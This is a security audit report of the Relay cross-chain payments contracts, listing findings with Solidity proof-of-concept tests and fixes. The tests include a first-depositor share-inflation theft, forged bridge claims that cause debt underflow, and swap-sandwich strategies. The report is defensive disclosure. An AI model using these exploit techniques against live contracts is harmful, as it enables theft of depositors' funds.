Relay monorepo

Security Review

Cantina Managed review by:

Kaden, Security Researcher
Sujith Somraaj, Security Researcher

April 25, 2025

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Relay is a cross-chain payments system that enables instant, low-cost bridging and cross-chain execution.

From Feb 4th to Feb 13th the Cantina team conducted a review of relay-monorepo on commit hash 2981c5e1. The team identified a total of **31** issues:

Issues Found

Severity	Count	Fixed	Acknowledged
Critical Risk	1	1	0
High Risk	4	4	0
Medium Risk	9	9	0
Low Risk	7	5	2
Gas Optimizations	3	3	0
Informational	7	5	2
Total	**31**	**27**	**4**

3 Findings

3.1 Critical Risk

3.1.1 Permanent `WETH` locking in `RelayPoolNativeGateway::redeemNative()` due to share-asset conversion mismatch

Severity: Critical Risk

Context: RelayPoolNativeGateway.sol#L79

Description: The `redeemNative()` function, located in `RelayPoolNativeGateway`, enables users to exchange their underlying yield shares for native ETH, which will be sent to their wallet, under ideal conditions. However, this function has an implementation error that permanently locks WETH tokens in the RelayPoolNativeGateway contract. It incorrectly uses share amounts for asset redemption, causing conversion mismatches.

```
function redeemNative(uint256 assets, address receiver) external virtual returns (uint256) {
    // Incorrect: passing assets amount as shares
    uint256 shares = POOL.redeem(assets, address(this), msg.sender);

    // This unwraps less than what was actually redeemed
    WETH.withdraw(assets);
    _safeTransferETH(receiver, assets);

    return shares;
}
```

Proof of Concept: The following test demonstrates the asset lock:

```
function test_mintRelayPool() external {
    vm.startPrank(user);
    console.log("Relay Pool Balance Before Mint:", IERC20(WETH).balanceOf(address(relayPool)));

    relayPool.mintNative{value: 1 ether}(user);
    console.log("Relay Pool Balance Before:", IERC20(WETH).balanceOf(address(relayPool)));

    uint256 shares = IERC4626(POOL).balanceOf(user);
    IERC4626(POOL).approve(address(relayPool), shares);
    relayPool.redeemNative(shares, user);

    console.log("Relay Pool Balance After:", IERC20(WETH).balanceOf(address(relayPool)));
}
```

Test Output:

```
Relay Pool Balance After Deploy: 0
Relay Pool Balance Before Mint: 0
Relay Pool Balance Before: 0
Relay Pool Balance After: 38140807354923843
```

About 0.038 WETH permanently locks in the contract after one mint-redeem cycle. Each redemption locks user funds, which regular operations cannot recover. This issue worsens with each redemption, leading to significant value lock.

Recommendation: Consider fixing the `redeemNative()` function as follows:

```
function redeemNative(uint256 shares, address receiver) external virtual returns (uint256) {
    // withdraw from pool
    uint256 assets = POOL.redeem(shares, address(this), msg.sender);

    // withdraw native tokens and send them back
    WETH.withdraw(assets);
     _safeTransferETH(receiver, assets);

     //emit event
     return assets;
}
```

Moreover, balance checks can be performed at the end of the function to prevent locking dust caused by discrepancies between the assets returned by the vault and the actual assets received.

Relay Protocol: This is fixed in commit 0892271e and PR 200.

Cantina Managed: The `redeemNative()` function is now `redeem()`, ensuring proper share redemption without locking assets in the `RelayPoolNativeGateway` contract.

Important Note: *The fix added balance validations to the `redeem()` function, causing a permanent DoS by sending native tokens to the contract (preferably using `selfdestruct`), which was later fixed in PR 200.*

3.2 High Risk

3.2.1 Inflation of share prices by the first depositor in relay pool

Severity: High Risk

Context: RelayPool.sol#L4

Description: An inflation attack vulnerability exists in the `RelayPool.sol`, allowing an initial malicious depositor to inflate the share price by donating funds, which leads to stealing from later depositors. The problem exists because the exchange rate is calculated as the ratio between shares `totalSupply()` and `totalAssets()`. When a malicious attacker transfers assets, `totalAssets()` incrementally increases, hence the exchange rate also increases. This is a known issue with the Solmate library.

Proof of Concept: The following proof of concept demonstrates how `user2` loses nearly 5000 USDC due to inflation attack.

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import { RelayBridge } from "src/RelayBridge.sol";
import { OPStackNativeBridgeProxy } from "src/BridgeProxy/OPStackNativeBridgeProxy.sol";
import {ERC20} from "solmate/tokens/ERC20.sol";
import { ERC4626 } from "solmate/tokens/ERC4626.sol";
import { RelayPool, OriginParam } from "src/RelayPool.sol";

contract AuditTest is Test {
    RelayBridge public relayBridge;
    RelayPool public relayPool;
    OPStackNativeBridgeProxy public opBridgeProxy;

    address public user = address(421);
    address public user2 = address(422);

    function setUp() external {
        uint256 ethFork = vm.createSelectFork("https://mainnet.infura.io/v3/<infura-id>");
        relayPool = new RelayPool(
            0xc005dc82818d67AF737725bD4bf75435d065D239,
            ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48),
            "Relay-USDC",
            "ReUSDC",
            new OriginParam[](0),
            0xd63070114470f685b75B74D60EEc7c1113d33a3D, /// usual USDC
            0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, /// WETH
            user
        );
    }

    function test_inflationAttack() external {
        deal(address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48), user, 10000e6);
        vm.startPrank(user);
        ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48).approve(address(relayPool), 10000e6);
        relayPool.mint(1 wei, user);
        ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48).approve(address(0xd63070114470f685b75B74D60EEc7c1113d33a3D), 10000e6 - 1 wei);
        ERC4626(0xd63070114470f685b75B74D60EEc7c1113d33a3D).deposit(10000e6 - 1 wei, address(relayPool));

        deal(address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48), user2, 20000e6);
        vm.startPrank(user2);
        ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48).approve(address(relayPool), 20000e6);
        relayPool.deposit(19999e6, user2);

        vm.startPrank(user);
        relayPool.redeem(1 wei, user, user);
```

```
        vm.startPrank(user2);
        relayPool.redeem(1 wei, user2, user2);

        assert(relayPool.balanceOf(user) == 0);
        assert(relayPool.balanceOf(user2) == 0);

        console.log("user2 balance: ", ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48).balanceOf(user2));
        console.log("user balance: ", ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48).balanceOf(user));
    }
}
```

Recommendation: Consider using the ERC4626 implementation from the Openzeppelin library, which has native inflation attack protection. Or consider minting some dead shares to `address(0)` while deployment to mitigate the inflation attack risk.

Relay Protocol: Fixed in commit c3dfd35d.

Cantina Managed: The issue is indirectly fixed by minting a small share for pools deployed via the factory contract. If the factory contract is modified (or) if pools are deployed directly, the issue still exists.

3.2.2 Tokens can be claimed directly from the bridge, bypassing `RelayPool::claim()` function

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: The `claim()` function in `RelayPool.sol` claims funds from bridges after a period (e.g., 7 days for Optimism). It updates key parameters like outstanding debt per origin, total pool debt, pending bridging fees, and deposits received assets as collateral to the yield pool. However, there are usually no restrictions on who can claim most bridges; any relayer is permitted to do so. By front-running (or) directly invoking the claim funds from the bridge contract, these internal parameters remain unchanged, leading the `RelayPool.sol` contract to** receive the bridged funds without updating the metrics** like outstanding debt, total pool outdating debt, bridging fees, etc.,

By doing so,

- The incoming `handle()` function calls will revert as the outstanding debt for an origin is not updated correctly.
- The `totalAssets()` function will return wrong values as the `outstandingDebt` is not updated correctly, leading to issues while redeeming shares from the `RelayPool`.
- Improper account of bridging fees.

Proof of Concept: The following proof of concept simulates the behavior of claiming bridged funds without using the `claim()` function and explores more of its downsides:

```
function test_claimDirectlyFromBridge() external {
    deal(address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48), user, 1e6);
    vm.startPrank(user);
    ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48).approve(address(relayPool), 1e6);
    relayPool.deposit(1e6, user);

    deal(address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48), user2, 1e6);
    vm.startPrank(user2);
    ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48).approve(address(relayPool), 1e6);
    relayPool.deposit(1e6, user2);

    vm.selectFork(opFork);
    deal(address(0x7F5c764cBc14f9669B88837ca1490cCa17c31607), user, 1e6);
    deal(user, 1 ether);

    vm.startPrank(user);
    ERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607).approve(address(relayBridge), 1e6);
    vm.mockCall(0x7F5c764cBc14f9669B88837ca1490cCa17c31607,
    ↪   abi.encodeWithSelector(IOptimismMintableERC20.remoteToken.selector),
    ↪   abi.encode(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48));
    vm.recordLogs();
    relayBridge.bridge{value: 1 ether}(1e6, address(420), 1, address(relayPool));
    vm.stopPrank();
    vm.selectFork(ethFork);
    vm.warp(block.timestamp + 1000 seconds);
    vm.selectFork(opFork);
```

```
    hyperlaneHelper.help(
        0xd4C1905BB1D26BC93DAC913e13CaCC278CdCC80D,
        0xc005dc82818d67AF737725bD4bf75435d065D239,
        ethFork,
        vm.getRecordedLogs()
    );

    bytes memory transaction = abi.encode(
        uint256(0), // nonce
        address(0), // sender
        address(0), // target
        uint256(0), // value
        uint256(0), // minGasLimit
        bytes("") // message
    );

    bytes memory claimParams = abi.encode(transaction, address(420)); // proof submitter

    vm.selectFork(ethFork);
    deal(address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48), address(relayPool), 1e6);
    vm.mockCall(
        address(opBridgeProxyEth), abi.encodeWithSelector(OPStackNativeBridgeProxy.claim.selector,
        ↪  address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48), claimParams), abi.encode(1e6));
    /// now simulate a claim from op bridge
    // relayPool.claim(uint32(10), address(relayBridge), claimParams);
    console.log("total assets", relayPool.totalAssets());
    // relayPool.collectNonDepositedAssets();

    vm.warp(block.timestamp + 7 days);

    console.log("user 2 share bal", relayPool.balanceOf(user2));
    console.log("user share bal", relayPool.balanceOf(user));

    vm.startPrank(user2);
    console.log("user 2 prev redeem", relayPool.previewRedeem(relayPool.balanceOf(user2)));
    relayPool.redeem(relayPool.balanceOf(user2), user2, user2);

    vm.startPrank(user);
    console.log("user prev redeem", relayPool.previewRedeem(relayPool.balanceOf(user)));
    relayPool.redeem(relayPool.balanceOf(user), user, user);

    console.log("user 2 bal", ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48).balanceOf(user2));
    console.log("user bal", ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48).balanceOf(user));
}
```

The proof of concept indicates that claiming funds directly from the bridge excludes LPs, as the `totalAssets()` function yields an incorrect value. This miscalculation of available assets for withdrawal from the yield pool can lead to a denial of service (DoS).

Recommendation: Introduce an intermediary contract to receive bridged funds and transfer them to the `RelayPool` on-demand for consistent state updates, regardless of the bridging context.

Relay Protocol: Fixed in commit 449fcce5, PR 199 and PR 208.

Cantina Managed: The corrections were applied across several pull requests since the initial fixes caused new bugs. The last commit in PR 208 resolves the issue by directly claiming funds to the bridge proxy and retrieving them on demand for the pool contract.

3.2.3 Lack of claim authenticity validation enables outstanding debt underflow

Severity: High Risk

Context: ArbitrumOrbitNativeBridgeProxy.sol#L83, ArbitrumOrbitNativeBridgeProxy.sol#L88, OPStackNativeBridgeProxy.sol#L101, ZkSyncBridgeProxy.sol#L59

Description: The `claim()` function in `RelayPool.sol` uses **delegatecall** to invoke the `claim()` method on proxy bridge contracts. These proxies — `ArbitrumOrbitNativeBridgeProxy`, `OPStackNativeBridgeProxy`, and `ZkSyncBridgeProxy` — along with the `RelayPool.sol`, fail to verify the token address or corresponding proof parameters for the anticipated bridge transfer.

This allows attackers to front-run legitimate claims by submitting minimal claims (of totally unrelated token transfers) that alter the pool's outstanding debt. Such fraudulent claims reduce the origin's and pool's outstanding debt by a trivial amount.

When valid claims are processed, the contract tries to deduct from a previously reduced debt, creating a risk of underflow or reverting in Solidity ˆ0.8.28 due to checked arithmetic, thus hindering legitimate claims. Although attackers may not directly take funds, their interference with legitimate claims can lead to liquidity challenges.

Proof of Concept:

- Initial state of RelayPool:
  - `outstandingDebt` = 20,000 USDC.
  - Legitimate bridge transfer of 20,000 USDC pending.
- Attack flow:
  - Attacker front-runs with `claim()` containing a small valid withdrawal (0.000001 USDC / some random token).
  - Attacker's transaction succeeds, reducing `outstandingDebt` (by 0.000001 USDC).
  - Legitimate claim for 20,000 USDC reverts due to underflow.

The following proof of concept demonstrates how random proof of a non-related transaction can be used to affect the pool's debt.The proof used in the proof of concept below does not correspond to the pool asset or contain any meaningful transfers to the pool.

```
function test_arbBridge() external {
    deal(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2), user, 20000e18);

    vm.startPrank(user);
    ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).approve(address(relayPool), 20000e18);
    relayPool.deposit(20000e18, user);

    /// mock handle to raise debt
    /// prank as mailbox
    vm.startPrank(0xc005dc82818d67AF737725bD4bf75435d065D239);
    relayPool.handle(
        42161, bytes32(uint256(uint160(address(420)))), abi.encode(0, user, 20000e18, block.timestamp - 100)
    );

    bytes32[] memory proof = new bytes32[](18);
    proof[0] = bytes32(0x8c4d950f3c52361a14bca54d5ac0f851a48b85df34d502756abb19f8a038a1f3);
    proof[1] = bytes32(0xebb4f0888a74891ec061c180a79e3882cdb03bfcd06c39f8698121d3ce9cd5c7);
    proof[2] = bytes32(0x6452758ac6bfacb665aba72a966287e9b4c13299afec3315e6cbf497d3f85617);
    proof[3] = bytes32(0x0eae4517260aa9ccfba639e40ff4d09cc2d9576002d2dbc843b29b6ff93406fe);
    proof[4] = bytes32(0x1bce88df6616205e5ca980111819a1f61004a29784d6a001bc9ea259668d5f45);
    proof[5] = bytes32(0x117bfed40db65c9898e03152dacc29a9f8ff5f027ca2c50ac176fc303530d724);
    proof[6] = bytes32(0x0000000000000000000000000000000000000000000000000000000000000000);
    proof[7] = bytes32(0x0000000000000000000000000000000000000000000000000000000000000000);
    proof[8] = bytes32(0x481fce9079bda9c3578190a0625f0f64c970233cafbf6c48341bcc33acf900dd);
    proof[9] = bytes32(0x0000000000000000000000000000000000000000000000000000000000000000);
    proof[10] = bytes32(0x0000000000000000000000000000000000000000000000000000000000000000);
    proof[11] = bytes32(0x0000000000000000000000000000000000000000000000000000000000000000);
    proof[12] = bytes32(0x0000000000000000000000000000000000000000000000000000000000000000);
    proof[13] = bytes32(0xdf05bcf63f7666d65ccf8647e1e2be4b80fad3f0f790ec7fe9b44a48be1afa7d);
    proof[14] = bytes32(0x0000000000000000000000000000000000000000000000000000000000000000);
    proof[15] = bytes32(0x0000000000000000000000000000000000000000000000000000000000000000);
    proof[16] = bytes32(0x0000000000000000000000000000000000000000000000000000000000000000);
    proof[17] = bytes32(0x823b0cf89df544d51c06d647911719752aadbac27b07c3b38a619fdd41fcc517);

    bytes memory encodedBridgeParams = abi.encode(
        proof,
        uint256(139563),
        address(0x09e9222E96E7B4AE2a407B98d48e330053351EEe),
        address(0xa3A7B6F88361F48403514059F1F16C8E78d60EeC),
        uint256(302106109),
        uint256(21764000),
        uint256(1738561803),
        uint256(0),
        hex"2e567b36000000000000000000000000be9f61555f50dd6167f2772e9cf7519790d9662400000000000000000000

00004f9219fbd78d4c6eddf1e89fb1da227bb59704440000000000000000000000004f9219fbd78d4c6eddf1e89fb1da227

bb59704440000000000000000000000000000000000000000000000000422c712dc53ba4c0000000000000000000000

00000000000000000000000000000000000000000a000000000000000000000000000000000000000000000
```

```
0000000000000000600000000000000000000000000000000000000000000000000000000000755f0000000000

0000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000

000000000000000000000000000"
    );
    deal(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2), address(relayPool), 195310000000000000000);
    relayPool.claim(42161, address(420), encodedBridgeParams);
}
```

Recommendation: The `claim()` function should validate that the result returned from the delegated call matches the expected parameters. In particular:

- Ensure that the token being claimed is indeed the pool's asset.
- The recipient of the claim is indeed the pool contract.

Conducting a straightforward balance check before and after the `claim()` invocation in `CCTPBridgeProxy` helps guard against a particular issue as long as the bridge's internal calls do not allow any arbitrary party to transfer new funds to the RelayPool (which is possible with many canonical bridges). Alternatively, consider claiming all funds to an intermediary contract and allow the pool to partially / fully draw its debt.

Relay Protocol: Fixed in 449fcce5, PR 199 and PR 208.

Cantina Managed: Verified fix. The funds are now bridged to an intermediary (Bridge proxy) contract and pulled on demand to the pool contract. Hence by bridging small amounts will just lock the attacker's funds in the proxy contract without affecting the pool's internal state.

3.2.4 Usage of arbitrary fee pools can be exploited to steal funds in `swapAndDeposit`

Severity: High Risk

Context: RelayPool.sol#L467-L472

Description: We allow anyone to call `RelayPool.swapAndDeposit` to swap non-`asset` tokens in the contract to `asset` tokens to then be deposited into the `yieldPool`:

```
function swapAndDeposit(
  address token,
  uint256 amount,
  uint24 uniswapWethPoolFeeToken,
  uint24 uniswapWethPoolFeeAsset
) public {
  if (token == address(asset)) {
    revert UnauthorizedSwap(token);
  }

  ERC20(token).transfer(tokenSwapAddress, amount);
  ITokenSwap(tokenSwapAddress).swap(
    token,
    uniswapWethPoolFeeToken,
    uniswapWethPoolFeeAsset
  );
  collectNonDepositedAssets();
}
```

The caller of the function can provide arbitrary `uniswapWethPoolFeeToken` and `uniswapWethPoolFeeAsset` parameters, which are used to specify the pool to be used for the swap based on the fee amount.

The risk with allowing the caller to provide arbitrary fee pools is that with certain fees a pool may not exist for the token pair or may have very low liquidity. In this case, an attacker could create a pool immediately before calling `swapAndDeposit` on that pool, providing liquidity only at the max price such that the output of the swap is nearly 0, stealing virtually the full amount to be swapped.

Recommendation: To fix this, we can either make this function authorized, or disallow arbitrary fee pools from being used, instead enforcing usage of a predefined pool.

Relay Protocol: Fixed in commit f3f12ca.

Cantina Managed: Fixed as recommended by making the `swapAndDeposit` function authorized.

3.3 Medium Risk

3.3.1 Refund unused native fees to `msg.sender` in `RelayBridge::bridge()` function

Severity: Medium Risk

Context: RelayBridge.sol#L52

Description: The `bridge` function in `RelayBridge.sol` allows users to bridge tokens from any chain to Ethereum. After bridging, a cross-chain message is sent via Hyperlane to release the tokens immediately from the RelayPool on Ethereum, avoiding delays associated with specific bridges.

To send a cross-chain message via Hyperlane, a fee must be paid in the native tokens of the sending chain (preferably an L2). The `bridge` function calculates the message fee using Hyperlane's `quoteDispatch` function. It forwards the correct fee to the Mailbox, keeping any excess paid, resulting in a permanent loss of additionally paid tokens.

Proof of Concept:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import { RelayBridge } from "src/RelayBridge.sol";
import { OPStackNativeBridgeProxy } from "src/BridgeProxy/OPStackNativeBridgeProxy.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract AuditTest is Test {
    RelayBridge public relayBridge;
    OPStackNativeBridgeProxy public opBridgeProxy;

    address public user = address(421);

    function setUp() external {
        vm.createSelectFork("https://optimism-mainnet.infura.io/v3/<infura-id>");
        opBridgeProxy = new OPStackNativeBridgeProxy(address(0)); // NO PROXY PORTAL NEEDED FOR L2
        relayBridge = new RelayBridge(
            0xC1c167CC44f7923cd0062c4370Df962f9DDB16f5, // PEPE,
            address(opBridgeProxy),
            0xd4C1905BB1D26BC93DAC913e13CaCC278CdCC80D
        );
    }

    function test_hyperlaneRefund() external {
        deal(address(0xC1c167CC44f7923cd0062c4370Df962f9DDB16f5), user, 1e18);
        deal(user, 1 ether);

        vm.startPrank(user);
        IERC20(0xC1c167CC44f7923cd0062c4370Df962f9DDB16f5).approve(address(relayBridge), 1e18);
        relayBridge.bridge{value: 1 ether}(1e6, address(420), 1, address(0));

        console.log(address(relayBridge).balance);
    }
}
```

Recommendation: Consider refunding any excess native tokens at the end of the transaction to avoid locking excess.

```
  function bridge(
    uint256 amount,
    address recipient,
    uint32 poolChainId,
    address pool
  ) external payable returns (uint256 nonce) {
    nonce = transferNonce++;
    /// ...
+   if(msg.value > hyperlaneFee) {
+     payable(msg.sender).transfer(msg.value - hyperlaneFee);
+   }
  }
```

Relay Protocol: Fixed in commit 90244469.

Cantina Managed: Fix verified.

3.3.2 Faulty parameter usage in `RelayPoolNativeGateway::mintNative()` function

Severity: Medium Risk

Context: RelayPoolNativeGateway.sol#L50

Description: The `RelayPoolNativeGateway.sol` contract facilitates the conversion of native ETH into WETH and deposits the resulting WETH into a vault contract that complies with ERC4626.

The `mintNative()` function within `RelayPoolNativeGateway.sol` has a flaw in handling **ERC4626** vault interactions. It incorrectly supplies asset amounts instead of the required share amounts. According to the ERC4626 standard, the `mint()` function is intended to accept the number of shares to mint, rather than the quantity of assets to be deposited.

```
function mintNative(address receiver) external payable returns (uint256) {
    WETH.deposit{value: msg.value}();
    WETH.approve(address(POOL), msg.value);

    // Incorrect: passing msg.value (assets) instead of shares
    uint256 shares = POOL.mint(msg.value, receiver);
    return shares;
}
```

Proof of Concept:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import { RelayPoolNativeGateway } from "src/RelayPoolNativeGateway.sol";

contract AuditTest is Test {
    RelayPoolNativeGateway public relayPool;

    address public user = address(421);
    uint256 ethFork;

    function setUp() external {
        ethFork = vm.createSelectFork(
            "<your-eth-rpc>", 21802676
        );
        /// WETH, aave WETH
        relayPool = new RelayPoolNativeGateway(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2),
        ↪  address(0x252231882FB38481497f3C767469106297c8d93b));
        deal(user, 100 ether);
    }

    function test_mintRelayPool() external {
        vm.startPrank(user);
        relayPool.mintNative{value: 1 ether}(user);
    }
}
```

The function above fails, as for one ether, the equivalent shares is `1039652383282011979` and is trying to move more than the contract balance, resulting in an error.

Recommendation: Consider calculating the shares for assets using the `convertToShares` function and passing the resulting share value to the `mint()` function.

```
function mintNative(address receiver) external payable returns (uint256) {
    // wrap tokens
    WETH.deposit{value: msg.value}();
    WETH.approve(address(POOL), msg.value);

    uint256 shares = POOL.convertToShares(msg.value);
    // do the deposit
    POOL.mint(shares, receiver);
    return shares;
}
```

Furthermore, a refund check can be included to return unused assets to the user. This situation may arise from a faulty implementation of the `convertToShares()` function within the vault.

Relay Protocol: Fixed in commit 0892271e.

Cantina Managed: The `mintNative()` function is now `mint()`, and it ensures proper **asset <> share** conversion, thereby fixing the issue.

3.3.3 Incorrect return value can result in permanent DoS

Severity: Medium Risk

Context: OPStackNativeBridgeProxy.sol#L101

Description: In `OPStackNativeBridgeProxy.claim`, we return the token balance of `address(this)`:

```
return IERC20(currency).balanceOf(address(this));
```

Note that we `delegatecall` this function from `RelayPool.claim`, so `address(this)` is the `RelayPool` contract. The intended effect of the return value from `BridgeProxy.claim` functions is to return the amount of the token that is being received from the bridge transfer. We use this value to decrease outstanding debt and pending bridge fees:

```
// Decode the result
uint256 amount = abi.decode(result, (uint256));

// We should have received funds
// Update the outstanding debts (both for the origin and the pool total)
origin.outstandingDebt -= amount;
decreaseOutStandingDebt(amount);
// and we should deposit these funds into the yield pool
depositAssetsInYieldPool(amount);

// The amount is the amount that was loaned + the fees
uint256 feeAmount = (amount * origin.bridgeFee) / 10000;
pendingBridgeFees -= feeAmount;
```

This is done to balance out the pending amount which we expect to receive from the bridge transfer at the time the transfer is initiated, keeping `totalAssets` consistent and maintaining the price of the ERC4626 shares. However, since we're returning the full token balance of the contract, we will not only decrement these values by the amount received but also by any existing balance in the contract. Since `outstandingDebt` and `pendingBridgeFees` are unsigned integers, completing future bridge transfers will inevitably result in an underflow on these values, reverting the transaction and causing an unrecoverable denial of service. While the `RelayPool` is not intended to hold `asset` tokens directly, an attacker can transfer tokens to the contract immediately before calling `claim` to trigger this impact.

Recommendation: Instead of returning the token balance in `OPStackNativeBridgeProxy.claim`, we should check the balance before and after completing the bridge transfer and return the difference.

Relay Protocol: Fixed in commit 449fcce.

Cantina Managed: Fixed by replacing the `OPStackNativeBridgeProxy.claim` function with a shared `BridgeProxy.claim` function which is not affected by this vulnerability.

3.3.4 Token swaps can be sandwiched due to 0 `amountOutMinimum`

Severity: Medium Risk

Context: TokenSwap.sol#L130

Description: In `RelayPool.swapAndDeposit`, we call `TokenSwap.swap`, swapping the provided `token` to the `asset` token:

```
ITokenSwap(tokenSwapAddress).swap(
  token,
  uniswapWethPoolFeeToken,
  uniswapWethPoolFeeAsset
);
```

In `TokenSwap.swap`, we encode the `inputs` with an `amountOutMinimum` of 0:

```
inputs[0] = abi.encode(
  address(this), // recipient is this contract
  tokenAmount, // amountIn
  0, // amountOutMinimum
  path,
  true // funds are not coming from PERMIT2
);
```

Since we don't otherwise validate the amount to be received by the swap, this can be sandwiched by an attacker. Since anyone can call `RelayPool.swapAndDeposit`, the attacker can execute a single transaction sandwich, allowing them to flashloan the input token, providing them practically infinite liquidity for the attack.

Recommendation: It's imperative to enforce a minimum amount out from any swap transaction. However, it's also imperative for this amount to be safely provided, and it's important to note that we can't simply allow the caller of `RelayPool.swapAndDeposit` to set this value since they could simply set it as 0 to execute this attack. We can prevent this attack via one of two approaches:

- Carefully implement a TWAP, or...
- Make the `RelayPool.swapAndDeposit` function only executable by authorized parties, e.g. by the `curator`, and add a parameter for the `minimumAmountOut` to be passed to the `TokenSwap.swap` encoded `inputs`.

It's highly recommended to proceed with the second approach listed as implementing a TWAP comes with several risks including price manipulation, slippage, and denial of service.

Relay Protocol: Fixed in commits f3f12ca and PR 216.

Cantina Managed: Fixed as recommended, by making the `RelayPool.swapAndDeposit` function only executable by the `curator` and adding a `minimumAmountOut` parameter which is enforced on the swap.

3.3.5 `CallRequest` hashing is not EIP712 compliant

Severity: Medium Risk

Context: CreditMaster.sol#L186

Description: In `CreditMaster._hashCallRequest`, we compute the hash of each element of `request.call3Values`:

```
for (uint256 i = 0; i < request.call3Values.length; i++) {
    // Hash the Call3Value
    bytes32 call3ValueHash = keccak256(
        abi.encode(
            _CALL3VALUE_TYPEHASH,
            request.call3Values[i].target,
            request.call3Values[i].allowFailure,
            request.call3Values[i].value,
            request.call3Values[i].callData
        )
    );

    // Store the hash in the array
    call3ValuesHashes[i] = call3ValueHash;
}
```

We include the `callData` directly to be encoded and hashed, however, since this is a dynamically typed value (`bytes`), it should first be hashed itself to be EIP712 compliant. As noted in the EIP:

> The dynamic values bytes and string are encoded as a keccak256 hash of their contents.

As a result, applications and wallets following EIP712 will have a different encoding behavior, resulting in different signatures being provided, thus preventing them from being verified and the calls from being executed.

Recommendation: Provide the hash of the `callData` to be encoded and hashed as part of the `call3ValueHash`:

```
bytes32 call3ValueHash = keccak256(
    abi.encode(
        _CALL3VALUE_TYPEHASH,
        request.call3Values[i].target,
        request.call3Values[i].allowFailure,
        request.call3Values[i].value,
        keccak256(request.call3Values[i].callData)
    )
);
```

Relay Protocol: Fixed in commit 02159bb.

Cantina Managed: Fixed as recommended.

3.3.6 Malicious solver can steal funds in `permit2TransferAndMulticall`

Severity: Medium Risk

Context: ApprovalProxy.sol#L160-L161

Description: In `ApprovalProxy.permit2TransferAndMulticall`, we handle a `permit2` permission provided by a user to a given solver, who will execute this call, validating the permission and executing the provided `calls`:

```
if (permitSignature.length != 0) {
    // Use permit to transfer tokens from user to router
    _handleBatchPermit(user, permit, calls, permitSignature);
}

// Perform the multicall and send leftover to refundTo
returnData = IRelayRouter(router).multicall{value: msg.value}(
    calls,
    refundTo,
    nftRecipient
);
```

However, while the `calls` are signed as part of the `witness`, the `refundTo` and `nftRecipient` parameters are not signed. As a result, a malicious solver could modify these parameters arbitrarily, stealing any ETH to be refunded or NFT's to be received.

Recommendation: Include `refundTo` and `nftRecipient` as part of the `witness` to prevent the solver from changing these parameters.

Relay Protocol: Fixed in commit ff88301.

Cantina Managed: Fixed as recommended.

3.3.7 Asset streaming can be delayed, resulting in interest rate suppression

Severity: Medium Risk

Context: RelayPool.sol#L379-L401

Description: In `RelayPool.sol`, we include a mechanism to stream bridged assets over a given `streamingPeriod` such that we avoid a stepwise increase in the `totalAssets`, preventing a stepwise increase in the `share` price, thus preventing sandwich attacks. Whenever `asset` tokens are newly added, this mechanism computes the current amount of tokens which have been streamed so far before resetting the streaming period and adding the newly added tokens to the `totalAssetsToStream`.

